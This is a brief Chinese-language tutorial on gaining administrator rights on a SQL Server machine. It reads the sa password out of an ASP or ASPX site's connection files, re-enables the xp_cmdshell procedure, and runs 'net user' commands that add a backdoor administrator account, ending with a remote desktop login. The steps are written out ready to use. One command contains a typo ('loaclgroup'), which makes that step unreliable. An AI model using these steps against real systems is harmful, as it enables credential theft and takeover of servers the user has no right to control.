简介
SQL Server 2005和SQL Server 2008默认将 xp_cmdshell 等危险存储过程删除。
提权前提条件
需要获取sa账号密码。
获取sa密码
使用SQL Server数据库的一般为asp系统或者aspx系统。获取到网站的源代码之后,查看首页文件源代码default.asp(或者其他文件名),获取到数据库的连接文件,数据库连接文件名称一般为conn.asp、openconnecting.asp,connection.asp,这些文件多位于网站根目录或者”include”目录下,查看这些文件获取数据库的连接账户和密码,aspx系统查看web.config文件获取账号密码。
添加xp_cmdshell存储过程
使用Navicat for SQL Server连接上数据库,在查询功能中执行SQL命令,如下图所示:
执行如下命令开启xp_cmdshell存储过程:
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1;
RECONFIGURE
执行如下命令添加系统管理员:
xp_cmdshell ‘net user lzx lzx /add’
xp_cmdshell ‘net loaclgroup administrators lzx /add’
提权成功,远程3389连接服务器。